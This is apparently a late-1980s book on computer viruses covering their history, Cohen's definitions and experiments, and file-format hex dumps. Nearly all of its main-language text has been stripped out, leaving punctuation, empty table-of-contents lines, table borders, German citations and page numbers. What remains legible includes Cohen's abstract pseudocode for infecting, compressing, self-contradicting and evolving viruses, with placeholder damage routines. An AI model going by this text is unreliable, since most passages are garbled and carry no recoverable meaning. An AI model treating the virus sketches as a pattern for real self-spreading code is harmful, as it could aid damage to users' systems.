




     






                   

         
                             

   







     !
         ,   
    .    
         
     .
      ,     , 
 ,       ,
   .      ,
      .  
    ,    -
        -
  ,      -
 .       
      .




                           - 2 -

     
     -----------
            . 
    ,  , 
  ,   -   -
 .
           ,   
 -     -   
     .
       ,        
         -
       .
         ,     
     ,    . 
  , .,  , .-
, .,   .,  .,  .,  .,
., .,  .,  .  ,   ,
.
         ,  , 
    .   - -
   -,    
       ,  
   .


     ,              

     
     ----------
  I      .......

1.        ? ...................
1.1        ...........
1.2     ............................
1.3     ..........................
1.4     -.........................
1.5     ...............................


                           - 3 -
2.      ................................

2.1    ?   ..............
2.2     ...............................
2.3     ....................................
                                                         
3.        ?...................

3.1       ..................
3.2       ............
3.3         ...
3.4      ...................

4.         
       -..................................

4.1    Chaos Communication Congress,  1986 .......
4.2      1987 ................................
4.3      : 
       ........................................
4.4     ?...........................
                                                         
5.       ?...........................

5.1       ......................
5.2      .............................
5.3     ................................
5.4       ........................

6.      ...................................

6.1     .......................................
6.2    - .....................
6.3    - ...................
6.4     ..................................
6.5       ...................
6.6     .............................
6.7     "".................................
6.8    ,   ..........

                           - 4 -


7.      ..............................
7.1    :  ?......................
7.2    ,    ...........
7.3    ,  ..................
7.4    ,  .......................
7.5     -  .............................
7.6      ..........................
7.7     .................................
7.8    ...........................................
7.9       ....................
7.10      ................
7.11       .................

8.       ..................

8.1     ..........................
8.2     ...................................
8.3     .............................
8.4    .........................................
8.5       
        ................................



 II.     ...

9.        ............

9.1     ..........................
9.2    ,    ........
9.3     -  .........................
9.4     -...........................
9.5     ....................................
9.6     .......................
9.7    VIRDEM.COM.......................................

10.      , 

                           - 5 -
         -.................

10.1     .............................
10.2     ................................
10.3     ................................
10.4       ...................
10.5      ..........................

11.      ...................

11.1   MS-DOS...........................................
11.2      / .............................
11.3   .............................................

12.      .....................

12.1     -.......................
12.2       ................
12.3    ................................
12.4   .....................................

13.      ................

13.1      .....................
13.2   VIR-DOS?.........................................
13.3   - ......................

14.       ................

14.1     ..............................
14.2      .......
14.3    ..................................
14.4    ..............................
14.5        ............................

15.     .................................

15.1    ,   ......
15.2     "".....................

                           - 6 -
15.3     .........................
15.4    ..................................
15.5    ................................
15.6     ..................
15.7    ,     ?...........
15.8      ?.......................

16.     .............................

16.1       ?..
16.2        ............
16.3     ?.........................
16.4      ?..................










      I      

            1987    
   ,    -
        -
.       -
   -        -,    
  ,          -
 ,    -, -
        1987 .    -
  ,  ,   , 
 . ,    -
      ,    1987
.
        1987      () - -
          

                           - 7 -
 -     :  -
  ,      -
    ,  
 ,       
 .        
 ,     , 
,       -
       ,  
     .     
    .    "
    "  ,    ,
" ",      , 
        .  
  ,     ,  
  ""  ,    -
    .
               -
  ,  " "   16
 1987   ,    
          
   ...
      :  ,    
  ,   "
",      .  -
           
 .       ,
        .    
",    ".     
  ,     
    .
        .      -
        .
          
          
 .   TAZ    -
 "    "   
   .    -
  ,        1984 -
.

                           - 8 -
          .   -
       -
  .  ,     -
,            
      -
.-,    
,     .
           ,   
   ,   ,  -
     ,  
       -
.
           .     
       . 
 ,      -
 .    
   .    -
    
-,    .
           -
      .    
 ,     -
.       -
 ;      -
   .          
            
   .
     ,        -
   ,   , -
        
-.
        :
     ,  ,    ,  
       
        
  " "?
           .  -
     .


                           - 9 -
    1.     ?

             ,  
    "",  ,    
   .   ,  
   ,      -
,-       -
    .     
     ,  ,     
 ,      
  .
        .  -    
,  FIBU    . ,
      -
        -   -
        
   .  -
        .     
" ",   ,   ,   "-
 ,  ".
             
     .  -
        -
,    .  , -
        "  ",
      -
 .
-----------------------------T-----------------------------
            
-----------------------------+-----------------------------
           
             ( *.COM, 
                              *....)
-----------------------------+-----------------------------
       :
                 ,
                                
-----------------------------+-----------------------------
               

                           - 10 -
                
                        -
-----------------------------+-----------------------------
             -
           
             
-----------------------------+-----------------------------
        
       
            
                  
-----------------------------+-----------------------------
   , -      -
   ,-       
                          
-----------------------------+-----------------------------
   ,     -  -
      ,   -
            
-----------------------------+-----------------------------
           .

       :  "  ,  -
         ,     ?".
    ,     
  .     
       -
,       
 .     
     MS-DOS,   
         .
(,   ,     
  .     -
 ,    ,
    ).

     1.1       
  -----------------------------------------------------
      ,   

                           - 11 -
 -----------------------   ,    -
                          .

        ,
 -----------------------     
                            ,  
                               -
                             -
                          .
             
:

 (/ )
---------
      "" .     -
   .

  (  )
------------------
     " " .     -
 ,      -
 .       
 .

  (  /
-----------------  / )
     ""       -
.       -
 .        
,         ,  
  ..

  ( / /)
---------------
     " " .  ,  
 ,         
.

  (//)

                           - 12 -
------------------
      ,   .

            -
  :

 
--------------------
      .       
 .      
           
,         -
.      "-
".         
  ,       ,  
    :
     ,    ( =   -
 ).

  
----------------------------------
     ,       .   -
          -
,           .
      .
       ,
     .

    
-------------------------------
     ,   , -
     ,  ,   -
, ,  .       
  ,    ,   -
 (.  ),     -
 (. ).

 
-------------

                           - 13 -
      ,   (. -
).     .


----------
          
    ( ).


-------------
           
 ,     , -
   ,     
 .

           
    . -
         -
:

--------------------------------
                    
+-------------------------------+
      
+-------------------------------+
      
                               
      
                               
  ,  
 ,   .     
L--------------------------------

        ,      
     
.
     , ,     -
  .
       ,     -

                           - 14 -
   (      ,
       ), 
      ,    
 ,   . , -
     ,    -
 ,   ,   -
.
      ,   
  ,       -
   .   
       
    .    
       ()
     ,      
  -  ,-   ,  -
  ,    
       . 
        -
 .    (Interrupt) -
    .
       .          
.        ,     
  .   . 
   ,   , -
    .     -
       .  
,   ,       -
 .      -
 ,     ,  -
,       (  
    ,      -
 ?)     -
 (     ,     -
 -     ?).    
     .
            -
 ,      -
.      ,  -
        

                           - 15 -
.

     1.2    
    ------------------------------
            -
  .     -
     ""   (
        -
).       ,    
          .
      -
       ,  
   .
          ,-
    ,    
,   ,    ,
 -     -
      .    
      -
   .     ,  
       "".
        ,    -
,         -
        -
       
.         , -
  ( -  -
  )         ,
       .  
         -
 ,     
 .         
   ,   -
  .
     ,    , 
  .         
 .    ,  -
        -
     ,   ,

                           - 16 -
-,    , -, -
    .
       , , ,  -
       -
  .     
,        -
.
      , ,    ,
         -
.        -
    .

     1.3         
     -----------------------------------
     ,       
    .      
   .        
,      -. -
  ,       
   ,     -
:
            
COPY   MS-DOS   test.txt,    
     TYPE :
                         C:>TYPE TEST.TXT
      ,  ,   -
       ASCII
-.
     (Dies ist ein Test, der belegt, wie viele Fremdzeichen
manche Textsysteme in einen reinen ASCII-Text einstreuen.)
        (  )    
   (WordStar 2000)  
     TYPE    .
     C:>TYPE TEST1.TXT

 -  WS2000 1.00         1IBMGRAPHIC     5   -
 -   0  0 -                                           -i
 0   0i--^  13^- -_   4_- - [ A   A


                           - 17 -
      ,          
   TYPE.      
   .
      ,    COPY :

     0100 44 69 65 73 20 69 73 74-20 65 69 6E 20 54 65 73
          D  i  e  s     i  s  t     e  i  n     t  e  s
     0100 74 2C 20 64 65 72 20 62-65 6C 65 67 74 2C 20 77
          t  ,     d  e  r     b     l  e  g  t  ,     w
     0120 69 65 76 69 65 6C 65 20-46 72 65 6D 64 7A 65 69
          i  e  v  i  e  l  e     F  r  e  m  d  z  e  i
     0130 63 68 65 6E 20 6D 61 6E-63 68 65 20 54 65 78 74
          c  h  e  n     m  a  n  c  h  e     T  e  x  t
     0140 73 79 73 74 65 6D 65 20-69 6E 20 65 69 6E 65 6E
          s  y  s  t  e  m  e     i  n     e  i  n  e  n
     0150 72 65 69 6E 65 6E 20 41-53 43 49 49 2D 54 65 78
          r  e  i  n  e  n     A  S  C  I  I  -  T  e  x
     0160 74 20 65 69 6E 73 74 72-65 75 65 6E 2E 0D 0A 00
          t     e  i  n  s  t  r  e  u  e  n  .  .  .  .


      ,      ASCII-, 
      20   -
 80.   , 
 ,-  0Dh  0Ah (    -
 ).
       ,     WordStar
2000:
     0100 7F 20 57 53 32 30 30 30-FF 31 2E 30 30 FF FF FF
          .     W  S  2  0  0  0  .  1  .  0  0  .  .  .
     0110 FF 20 31 49 42 4D 47 52-41 50 48 49 43 FF FF FF
          .     1  I  B  M  G  R  A  P  H  I  C  .  .  .
     0120 FF 20 20 20 20 20 20 35-20 7F 0A 7F 1C 20 30 20
          .                    5     .  .  .  .     0
     0130 20 30 1C 7F 0A 7F 69 20-30 20 20 30 69 7F 7F 5E
             0  .  .  .  .  i     0        0  i  .  .  ^
     0140 20 31 33 5E 7F 7F 5F 20-20 34 5F 7F 7F 5B 01 41
             1  3  ^  .  .  _        4  _  .  .  [  .  A
     0150 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF

                           - 18 -
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0160 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0170 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0180 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 01 41
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  A
     0190 01 06 01 0B 01 10 01 15-01 1A 01 1F 01 24 01 29
          .  .  .  .  .  .  .  .  .  .  .  .  .  $  .  )
     01A0 01 2E 01 33 01 38 01 3D-FF FF FF FF FF FF FF FF
          .  .  .  3  .  8  .  =  .  .  .  .  .  .  .  .
     01B0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     01C0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 5B 7F
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  [  .
     01D0 7F 61 37 31 61 7F 7F 5C-31 30 5C 7F 7F 5D 31 30
          .  a  7  1  a  .  .  \  1  0  \  .  .  ]  1  0
     01E0 5D 7F 7F 62 31 31 62 7F-7F 65 31 65 7F 7F 66 31
          ]  .  .  b  1  1  b  .  .  e  1  e  .  .  f  1
     01F0 66 7F 7F 67 31 37 7F 7F-76 7F 7F 5B 01 41 01 06
          f  .  .  g  1  g  .  .  v  .  .  [  .  A  .  .
     0200 01 0B 01 10 01 15 01 1A-01 1F 01 24 01 29 01 2E
          .  .  .  .  .  .  .  .  .  .  .  $  .  )  .  .
     0210 01 33 01 38 01 3D FF FF-FF FF FF FF FF FF FF FF
          .  3  .  8  .  =  .  .  .  .  .  .  .  .  .  .
     0220 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0230 FF FF FF FF FF FF FF FF-FF FF FF FF FF 4B 01 06
          .  .  .  .  .  .  .  .  .  .  .  .  .  K  .  .
     0240 01 0B 01 10 01 29 FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  )  .  .  .  .  .  .  .  .  .  .
     0250 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0260 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0270 FF FF FF FF FF FF FF FF-FF FF FF FF 5B 7F 7F 5B
          .  .  .  .  .  .  .  .  .  .  .  .  [  .  .  [
     0280 01 4B 01 06 01 0B 01 10-01 29 FF FF FF FF FF FF
          .  K  .  .  .  .  .  .  .  )  .  .  .  .  .  .

                           - 19 -
     0290 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     02A0 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     02B0 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     02C0 01 41 01 06 01 0B 01 10-01 29 FF FF FF FF FF FF
          .  A  .  .  .  .  .  .  .  )  .  .  .  .  .  .
     02D0 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     02E0 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     02F0 FF FF FF FF FF FF FF FF-FF FF FF FF FF FF FF FF
          .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
     0300 5B 7F 44 69 65 73 20 69-73 74 20 65 69 6E 20 54
          [  .  D  i  e  s     i  s  t     e  i  n     T
     0310 65 73 74 2C 20 64 65 72-20 62 65 6C 65 67 74 2C
          e  s  t  ,     d  e  r     b  e  l  e  g  t  ,
     0320 20 77 69 65 76 69 65 6C-65 20 46 72 65 6D 64 7A
             w  i  e  v  i  e  l  e     F  r  e  m  d  z
     0330 65 69 63 68 65 6E 20 6D-61 6E 63 68 65 20 54 65
          e  i  c  h  e  n     m  a  n  c  h  e     T  e
     0340 78 74 7F 1F 7F 7F 03 7F-73 79 73 74 65 6D 65 20
          x  t  .  .  .  .  .  .  s  y  s  t  e  m  e
     0350 69 6E 20 65 69 6E 65 6E-20 72 65 69 6E 65 6E 20
          i  n     e  i  n  e  n     r  e  i  n  e  n
     0360 41 53 43 49 49 2D 54 65-78 74 20 65 69 6E 73 74
          A  S  C  I  I  -  T  e  x  t     e  i  n  s  t
     0370 72 65 75 65 6E 2E 0A 00-00 00 00 00 00 00 00 00
          r  e  u  e  n  .  .  .  .  .  .  .  .  .  .  .

           .  -
  ,    , -
      TIPY,     
  -      
.
             -
,     ,      
    "  "    "-

                           - 20 -
"  "".       
    ,     -
    .
     ,         -
 ,   , :   
   ,   
   (  ASCII ),    -
   .
              ,
     .      
 ,      
 ,       -
,      ,  -
     .
           -
 ,    ,    
          
  "ue"   "u".  ,
       
 ,     .    
 Haueser  Hauser,   Muel - Mul,   Quellcode
 Qullcode ?!?.      ,  
   ,    -
. ,   ,    
fuent  funt,   ,    
Quelle  Qulle.    -
       .  
     .   -
       ,  
    ,     .
    ,        "-
"  ,    
  .   ,   
MS-DOS,         .
    KUNDEN.DTA  WS.COM,   
 .  ( : ,  
;    ,  -
  ).
           -

                           - 21 -
         .  
     -
   .    
    .  -
       
     ;
     . -
,    " "   
  "WordStar".     -
,           
"WordStar" ,     ,  
   ,     " "
    "  ",    
     .

     1.4    -
     ------------------------------
             
           
 . -    -
   . -  -
  ,     
,   -      .
  ,    .

         .    
            ,  -
            .

 VIR     .     
        ,    .

     -------------
     ----T----- 
        VIR     -
     L---+------ 
     L-------------

        ,   -

                           - 22 -
        -
. (          
,     -  ).
   ,   -
   .      
        -
 "".     -
 .      
 ,      
   , ..   
"".        
 ,       "  "  
   .
     ----------------------------------
      ------------------------------ 
           
      L------------------------------ 
     L----------------------------------
            "  -
".      ;      
       .
        .     -
         
   .
      ----------------------------------------------
       -----T-----T-----------------------------  
           VIR       
       L----+-----+------------------------------  
      L----------------------------------------------
           -
 ,     ,
        -
.         
    .
          
  ,      
    .
           -
:

                           - 23 -
     --------------------------------------
       --------------------------------  
               
       L--------------------------------  
     L--------------------------------------
            -
:
     ------------------------------------------------
       -----T-----T------------------------------  
           VIR        
       L----+-----+-------------------------------  
     L------------------------------------------------
     ,         -
,     ,   
 .
             --
.   ,  ,  -
  .     -
   ,              
-. ""      
    -.
        ,     -
,     ,    -
 .        -
-,          
.   ,  ,  -
:   - ,   - ,   -
         .
            -
 " ".       
 ,    .   
   ,   .     -
   ,     
    ,  -
   ,  ,  -
  .

     1.5    
     -------------------------

                           - 24 -
          , 
   -,   -
,   :
       -  ,  
     .   -
        
    .
      ,  ,    .
,         -
  -    "  -  
"     ,- 
     .    
       -
 (. /1981 ).      -
  ,  .. -
  :

     "            
.         
      (),   -
 () ."

                 
-,          
() . ,    
   .  ,  -
      
,               
.       
:

        -,  
  :
     1.        -
         -
 .
     2.        -
 , ,   ,   .
     3.     

                           - 25 -
.
     4.      
      .
     5.    -
 ,   .1-4.

               
 ,         -
 -.


     2.    
     -----------------------
        ,     -
  -.   , -
              -
,     -
.
         -
   (...  ;    -
;  1957 ).         
       
"-"   "" (  -
 .     -
      -
 ;  1974  "-" -  
  ; 1982),    -
        
       1984 .
             ,
 ,        -
     .     
 ,     . -
     1980/81 (!!) .   
     ,  -
     .      -
,    ;   -
 -               ,-
 .

                           - 26 -
      ,      ,
     (   -
      
       ):

70-       , 
            (, .  
          ...    ,
          1974)
          Gunn, Use of Virus Function... ACM, 1974.

1980/81   . 
            
           
          J.Kraus.Selbstreproduzierende Software.
          Universitat Dortmund.

1983-1984 .
           ,   
            
          F. Cohen. Computerviruses, Thory and Experiments
          University of Southern California

11/84     
           
          47/84    

3/85          
          Bayrische Hackerpost,c/o Basis
          Adalbertstr. 41b, 8000 Munchen 40

3/85      . 
           
               
          R. Dierstain Computerviren
          KES, Peter Hohl Verlag

7/86      . 
           ,

                           - 27 -
           - 
            ,   IB 562/6
          R. Dierstain Computerviren

11/86     -
           

12/86     . 
            
              
          ()
          Schwenkestr. 85, 2000 Hamburg 20
          Datenschleuder

12/86      
              

1/87       
           
           

2/87        
           

2/87      . 
             
             
          Pattweg 8,Pulcheim-Dansweiler

2/87      . 
               
          Datenschleuder

3/4/87    . 
             
          KES, Peter Hohl Verlag

4/87      .
           

                           - 28 -
          c't Heise Verlag

4/87      . 
           
          Computerwoche; CW Publikation

4/87      Mailbox CLINCH
             
          . 

4/87       
          Heppy Computer, Markt & Technik

6/87      . 
          
          

7/87       
          64'er
          Markt & Technik

9/87      . 
            -  
          CHIP,Vogel-Verlag

10/87     -:     
          PM-Computer

              . 
      
 ,      2.1 
2.2     ,     
    .

     2.1   ?   
     -----------------------------------------
         ,   -
  ,       
 " ,   ". 

                           - 29 -
        -
     ,     
   .     -
    .
            -
   -.  (  ,
,       .)
     We define  a  computer  'virus'  as a program that can
'infect' other programs by  modifying  them  to  include  a
possibly evolved   copy   of  itself.  With  the  infection
property, a virus can spread throughout a  computer  sistem
or network  using the authorizations of every user using it
to infect thir programs.  Every program that gets  infected
may also act as a virus and thus the infection grows".

     (     , -
  ""  ,      
 .      
        .  -
          ,
    ).

      ,  ,   ,  
      --
,   ,  ,  -
 .  ,      
   -  -
  .

       V   :

     program virus:=
     12345678;

     subroutine infect_executeble:=
       loop: file = get_random_executable_file;
     if first_line_offile=12345678 then goto loop;
     prepend virus to file;


                           - 30 -
     subroutine do_damage:=
       whatever damage is to be done

     subroutine trigger_pulled:=
       return true if some condition holds

     main programm:=
       infect_executable;
     if triger_pulled then do_damage;
     goto next;
     next:

     
     --------
      "infect_executable"   
 ,          
"12345678".        
       .    
    .
      "do_damage"    -
  .
      "trigger_pulled"  ,  
        .             ,
"trigger_pulled"  .
     "main_program"     ,
    ,   
,   .
            -
  ,   " ", .
. ,    . -
       ,  ,
     ,      -
     ,    
    .
           -
 ,     :  V   
    ,    -
   , V     -
 .

                           - 31 -
          ,  -
            "
".      
   3.1.

       
     -----------------
     program Compretion_virus:=
     { 01234567;
     subroutine infect_executable:=
     {loop:file = get_random_executable_file;
     if first_line_of_file = 01234567 then goto loop;
     compress file;
     prepend compression_virus to file;}
     main_program:=
       if ask_permission then infect_executble;
     uncompress the_rest_of_this_file into tmpfile;
     run tmpfile;}

        (  ) 
 -    . -
        
  .   ,  , -
,       ,
   .

      
     ------------------
        10.09.83      
      11/750 
        
.   - "vd" -
                   
("expertwork").     -
,      ,  
    .   -
     (  ,
 -  )   .   -
    500 ,  -  -

                           - 32 -
    .
       ,     :  
     .
                    
Tops-20, VMS-VM/370          .
,        
 ,  :
     /  ,   ,
     /   
     /      .
        -
" "    (  ,
     ).
        1984     -
         
         .
      ,  
   .    -
     .

       ,  
     --------------------------------------------
--------------------T-----------------------------------
                              1                
+-------------------+------------T--------------T-------+
          
+-------------------+------------+--------------+-------+
       3            33          0   
+-------------------+------------+--------------+-------+
          1             1          0   
+-------------------+------------+--------------+-------+
           4             5         18   
L-------------------+------------+--------------+--------


--------------------T-----------------------------------
                              2                
+-------------------+------------T--------------T-------+
          

                           - 33 -
+-------------------+------------+--------------+-------+
       5           160          1   
+-------------------+------------+--------------+-------+
          7             78        120  
+-------------------+------------+--------------+-------+
           7            24         600  
L-------------------+------------+--------------+--------

:     

:   ,   
               .
:          ( )     
                .
          "",  ..  
,        
    .   :

     ,             ,      
    .

        ,   -
     .  
 ,        
-  (Bell-La Padula),    -
      .  
 ,    ,     -
  .
        ,  -
       .   
     
  ,      -
 .    -
:

      program contradictory_virus:=
     { 12345678;

     subroutine infect_executable:=

                           - 34 -
     { loop:file = get_random_executable_file;
     if first_line_of_file = 12345678 then goto loop;
     prepend virus to file;}

     subroutine do_damage:=
     { whatever damage is to be done}

     subroutine trigger_pulled:=
     { return true if some condition holds}

     main program:=
     { if not D(contradictory_virus) then
          { infect_executable;
           if trigger_pulled then do_damage;
           goto next;}}

     next:}

      "D"    , -
 ,         -,
..: D(x) ,     .  D( x) ,
    .   ,  -
    (  ),
   - .
            
        -
,      ,
      -    
   .       -
 ,     
  .
     (  "do_damage"  "trigger_pulled"   -
   ,  .)

       :=
     { 12345678;

      :=
     { : = _-_;

                           - 35 -
        __ = 12345678    ;
      ___;}

      :=
     {   D() 
     ;
        ;
       ;}

     :}

            . ,
         -
 ,    ,   
 .
     ( :    , ,  
 ?)
      :=

      :=
     { :  = _-_;
       =     ;
     _;}

      :=
     {   D( ) 
     ;
       
     :}

      "D"     ,  
,     .  ..: D() -
,   .  D( ) ,    .
    ,   -
,       .
             ,   
 - .
        ,    , -
      , -

                           - 36 -
 ,       -
    .
     :       ,
 ,    .        
,           
   ,      -
.
      .     ,  -
  ,   , -
     -    ,  
   -,       
,    :
     :
     ,    .
       ,     .
         ,    .

            :
     10 if a=3 then a=5
     20 if a=5 then a=3
     30 goto 10

              ,
    .
                 
" ",  ..       
 :
     program evolutionary_virus:=
     {12345678;

     subroutine infect_executable:=
     {loop: file = get_random_executable_file;
     if first_line_of_file = 12345678 then goto loop;
     prepend virus to file;}

     subroutine do_damage:=
     {whatever damage is to be done}

     subroutine trigger_pulled:=

                           - 37 -
     {return true if some condition holds}

     subroutine print_random_statement:=
     {print random_variable_name,=,random_variable_name;
     loop: if random_bit = 0 then
     {print random_operator,random_variable_name;
     goto loop}
     print semicolon;}

     subroutine copy_virus_with_random_insertations:=
     {loop: copy_evolutionary_virus to virus till
       semicolon_found;
     if random_bit = 1 then print_random_statement;
     if not end_of_input_file goto loop;}

     main program:=
     { copy_virus_with_random_insertations;
     infect_executable;
     if trigger_pulled then do_damage;
     goto next;}

     next:}

      ,   ,   -
 ,   - .     -
,         -
.        -    
  -,     -  - -
 ,       -
:

     program undecidable_evolutionary_virus:=
     {12345678;

     subroutine infect_executable:=
     {loop:file = get_random_executable_file;
     if first_line_of_file = 12345678 then goto loop;
     prepend virus to file;}


                           - 38 -
     subroutine do_damage:=
     {whatever damage is to be done}

     subroutine trigger_pulled:=
     { return true if some condition holds}

     subroutine copy_with_undecidable_assertion to file till
     line_starts_with_zzz;
     if file=P1 then print "if D(P1,P2) then print 1;"
     if file=P2 then "if D(P1,P2) then print 0;"
     copy undecidable_evolutionary_virus to file till
         end_of_input_file;}

     main program:=
     {if random_bit=0 then file=P1 otherwise file=P2;
     {copy_with_undecidable_assertion;
     zzz:
     infect_executable;
     if trigger_pulled then do_damage;
     goto next;}

     next:}

       D    , -
    .    
     :
     :
         ;    -
     ,   .
         ;    -
     ,   .
       .

       ,     -
,   ,    ,
   .      -
        
  .      -
,       

                           - 39 -
          ;  
     ,    
.         -
.      
       15.3.
          :  -
 ,  -  ?
      ,       ( 
 1000 ,  50- )  500!/1000**500.
             -
,     13.3.
          ,    -
        
 .     ...
     :         ,  
.     ,    -
  ,      -
     .

     2.2   
     ------------------------
             -
         .
 "  ".  
     ,    
     -
      -
 -   , -    -
     .   
    ,       
    .     
    ,      
1981     .

      
     -------------
               
   .         ,
      ,       -

                           - 40 -
 :  ""    .
        -
     :
     "    ,   
    ,   -
       
  ".
           
     ,   -
      . -
 - ..   -   
   .   :
     "      -
 100-  ,   
    ,  ..  -
.  ,     -
      ".
        ""     -
   16.4.
             ,
  ,      -
 :
     "       -
 ,    .    -
        ,  
, .      
 ,  ,     -
    ,   ,   
.       -
,     
   .  , , 
    ,      -
  ".
         ,  ,  -
,      10.  -
           
 ,          
  .
             -

                           - 41 -
          
  ,      -
:
     "    ( )  
S.
 (1)         ( )  
      ,   () -
     .
 (2)          -
      ()        ,     -
      () ."
       "        -
 .
 (1)           
        (  )      ,   
      () .
 (2)             
         ()  
     ,    () ".

        ,     -
    -
       .
         -     
-    (()), -
       .   
  ,       ()--
    .
     , ,      
,     .  -
     1980 ,      
 .   ,  , 
 .     -
    :
     " D  ,     -
           S
      [0:  maxchar]  .  
   ,    D  
       -

                           - 42 -
.         
 ,       
  D*. ,  
 D*     q  ,  ,
  q."
            -
 , :   
       (  -
 ).     -
   .    -
      ,   
      
.  :
     "    ,     -
 ,  ,    
   ."
              -
      :
     " , , ,    -
 ?"
     , ,       . 
      
  .
        ,  ,     
:
     "     ()  
      ,     
 ,      -
     .     
          
."
           .  
" ".          
  /   "  -
",       . 
     . 
   :
     "    ,   -
,        ."

                           - 43 -
     ,       ,   -
,   ,  , ,  
   .  -
      
 10.     .
             -
       .  
     ,     :
"[...]      
         .  
 ,     ,      
,   ,  ."
          "  -
    -    -
".   ,  .   1987 -
     ,      
 ,   4/87.   
   .  
      ,  -
   ,     -
.          
,         
  .  :
     "      -
,      ,   -
   ."
     ,   :
     "       
    ".
           " -
 "     ,    
      "contradictory_
virus" ( ).
          ,  
,     .

     1)   
     2)    
     3)       

                           - 44 -

         ,   ,  -
 ,       
(    -    -
).       -
.
       ,    (-
 .          1986      
     ),  ,   
      , -
  .

     2.3   
     -------------------
             -
,      .  
    -     -
 ,-        -
       .  ( -
    2  ).
       ,  , , -
   ,  ,        ,
      " -
".    .  " ,   
   Honeywell Informations Systems, -
: ,   ,    -
 " ,    ". 
: "   ,        ,
     ",  ,  -
 "Bad guy" (" ").
         ""     -
 .       
,    .    "-
,   ",     
 .
      1985       -
 "  ()      -
 .
        1985       

                           - 45 -
   KES.     ,  
        ,  -
,   " ",    
      -
. ,     ,    
   - ,      -
 ,       -
  .     ,  -
  .  ,          
 ,        
      .
      1986   ""    
 ,   .  -
,         -
,         
 .   ,     
,       
    .
       1986   " "-    -
   -     
  "- -    -
 ".        
     "
 "        
   ().       
    -   Apple
II.
         ""  
 .  .      MS-DOS -  "
", ,  ,       .
     10.1.
        1987     
"  " -   , -
 .          
    ,    
 -    . 
     . , -
,      -
   IBM    - " -

                           - 46 -
         
 ".  ,     -
,   1986    .
             
       
  .        
    4.1.
           KES,     "  "
        .
    -    ,  -
     -    .  
          
  MS-DOS.
        -   -   "-
"  ,      -
,   . .
        1987  .  " " 
   (,    -
    ).    
     .  ,  ,
          
,    .   : ",
        ..."  ..
       c't  ,    
   .    .  
- .  :  "    
 ,       
,     .  
          ,
    ."
         ,    -
       :
"      ."
             .
    ,  
 -     ,
   ,       
     .
            -

                           - 47 -
   64r(7/87),     -
 -   64.
            -
       "".     WDR
,   1986 .    -
      .    
  -    ,     
     "WDR  " -   
 "WDR ".  , , ,  -
    ,  -   ,  
    ,  ,  ,  
       -
 -   .  -
      Apple -    
 -   ,    -
  .     
 .  (. 10.), , ,  
 .
         ,   NDR,  
 .      ,  
,   .
      ( "-"):
     "-    , ,
       ,    
."

      (  , ):
     "       
    ;    
         ,  -
  ."

      ( ,   -
):
     "        
          
    ,    -
     ."


                           - 48 -
         ,    "-",  
   .     -
    .  
  :
     "     ...   
 ,    ."

     ,     ,    
       , -
    1987 .

     
     ------
            
   .     -
    .  , , -
  ,        -
,             
 .   -    
,      , -
      .


             3.    ?
            -----------------------------------
            ,   
  .      -  
 ?  ,     
    .   
        -
  .     
  ,  , ,  
 -  -    ,   -
.  ,        , 
     .
          -
  ,   -   -
 ,       -
,    .   ,    

                           - 49 -
   ,    
.        .  
 ,         -
        -
        ,  -
      
.

     :
        ,    -
     . ,     -
  ,   ;  -
     ,  
         .
( ""     ,
   .)  ,  ,  
 ,   "",   
       ,   -
,         
 ,        -
   .
            -
 .
             -
       .    
  .     -
        -
   .     , -
 ,    ,  
    ,        -
 .       ,
    (     )   
      .
      ,  ,     
,        
 ,       ,   -
     ,    
     -
.

                           - 50 -
        ,    -
   .     
        
    , -
  ,      ,    
 .       -
   .   -
     - 
 "",   "( -
).
      :
           ,    1.4.
       -
   . ..    -
   ,       .
          -
  .   ,  , 
 ,   ,   -
  .

       + -
  --------------------------------------------------------
         (+1)
   ,     -
  ;    1/(+1).
       (+1)     -
  ;      +1-1  
 ,     
 2/(+1).   ,     +1  
        ,
      
4/(+1).
         "" ,   -
         ,
..    .  ,    
 .
            -
        .   ,
,       -

                           - 51 -
 .      , 
        -
,        .  
 ,  ,      
.
     ,       
   .    -
 ,         -
,     .





          + --
     ------------------------------------------------------
 (  )
--------------------------
          (+1)
  ,      -
  ;    1/(+1).
       (+1)     -
     (   ), 
  (+1-4)       ,  
    5/(+1).  -
,    (+1)     
      25 ,    
     25/(+1). -
    .   
 ,     .
      , 
         -
 ,       .
            -
 :

     -
     L
      L-

                           - 52 -
        L-----
              L-----------------
                                L------------------
     L-----------------------------------------------


            -
  :

     -
     L----
          L-----------------------
                                  L---------------
     L----------------------------------------------

          ,     
.          
,    ,   
        .

     3.1     
     -------------------------------------
              -
 ,      -
.          
    (. 2.1),    -
 .        ,
        
       -    
  *) -   ,  -
     -
 .

     ----------------------
     *)  :    , ,
    ,   
  .      -
      -  -
    -  50-80      -

                           - 53 -
.        
. (. ).

      , ,   -
 ,            
   .   ,   
       ,
  ,        .  -
